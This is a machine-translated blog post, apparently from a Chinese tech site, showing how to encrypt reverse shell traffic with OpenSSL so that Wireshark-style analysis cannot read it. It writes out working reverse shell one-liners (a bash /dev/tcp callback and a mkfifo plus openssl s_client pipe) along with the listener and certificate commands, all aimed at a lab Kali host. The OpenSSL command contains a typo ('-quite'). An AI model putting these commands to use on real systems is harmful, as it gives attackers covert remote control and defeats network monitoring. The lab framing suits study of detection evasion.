当前位置:网站首页>Using OpenSSL encryption to rebound shell traffic
Using OpenSSL encryption to rebound shell traffic
2022-07-01 18:34:00 【Cheng-ling】
brief introduction
In the post penetration stage, it is often necessary to rebound for further horizontal operation shell, But rebound shell There is a drawback to both methods , Traffic is transmitted in clear text . Traffic analysis will soon be found , If you trace the attack traffic , Detect features with attacks , You can reproduce the attack process .
Experimental environment
kali:192.168.95.128
centos:192.168.95.147
Wireshark Grab the bag
stay kali Upper use nc Listening on a port
nc -lvvp 4444

take centos Of shell Bounce past
bash -i >& /dev/tcp/192.168.95.128/4444 0>&1

Use wireshark Grab traffic packets , Bounce back shell Then execute some commands



Right click to track tcp Stream query to see details

Use wireshark You can directly see the input command and return information by capturing packets
OpenSSL Rebound encryption shell
OpenSSL Is an open source software library package , Applications can use this package for secure communication , Avoid eavesdropping , At the same time, confirm the identity of the connector at the other end .
Use on the server openssl Command generates a self signed certificate
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Certificate information can be entered or not
Use on the server openssl Command listens on a port
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
![]()
Use the command to execute the bounce on the client target host
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quite -connect 192.168.95.128:4444>/tmp/s;rm /tmp/s

Use wireshark Grab traffic packets , Received a rebound shell Then execute some commands

Check it again wireshark Captured traffic packets , It's encrypted


The server and client are using TLSv1.2 Protocol for encrypted communication .
Conclusion
I have eaten all the bitterness , If you haven't grown up , You'll lose .
边栏推荐
- Fix the black screen caused by iPhone system failure
- Penetration practice vulnhub range Nemesis
- Blue Bridge Cup real topic: the shortest circuit
- Penetration practice vulnhub range Keyring
- ZABBIX alarm execute remote command
- Classpath classpath
- Record 3 - the state machine realizes key control and measures the number of external pulses
- (6) VIM editor MV cat redirection standard input and output more pipe symbols head tail
- Blue Bridge Cup real question: score statistics
- How to retrieve the password for opening Excel files
猜你喜欢

Bug of QQ browser article comment: the commentator is wrong

Classpath classpath

Penetration practice vulnhub range Nemesis

PTA year of birth

Yuancosmos game farmersworld farmers world - core content of the second conference in China!

The method of real-time tracking the current price of London Silver

Mysql database design

Domestic spot silver should be understood

Mujoco XML modeling

Cloud computing - make learning easier
随机推荐
Calculation of intersection of two line segments
Is Alipay wallet convenient to use?
Happy new year | 202112 monthly summary
[2. Basics of Delphi grammar] 4 Object Pascal operators and expressions
[source code analysis] NVIDIA hugectr, GPU version parameter server - (1)
ArrayList扩容详解
Rust language - cargo, crates io
Apk signature process introduction [easy to understand]
EasyCVR通过国标GB28181协议接入设备,出现设备自动拉流是什么原因?
Flex layout
Batch export all pictures in PPT in one second
期货账户的资金安全吗?怎么开户?
[acnoi2022] color ball
SPIE Western optoelectronics exhibition returned offline and successfully held a science and engineering event
Apache iceberg source code analysis: schema evolution
Software construction scheme of smart factory collaborative management and control application system
Small exercise -- subnet division and summary
Setting up a time server requires the client to automatically synchronize the time of the server at 9 a.m. every day
Fix the black screen caused by iPhone system failure
Explain in detail the process of realizing Chinese text classification by CNN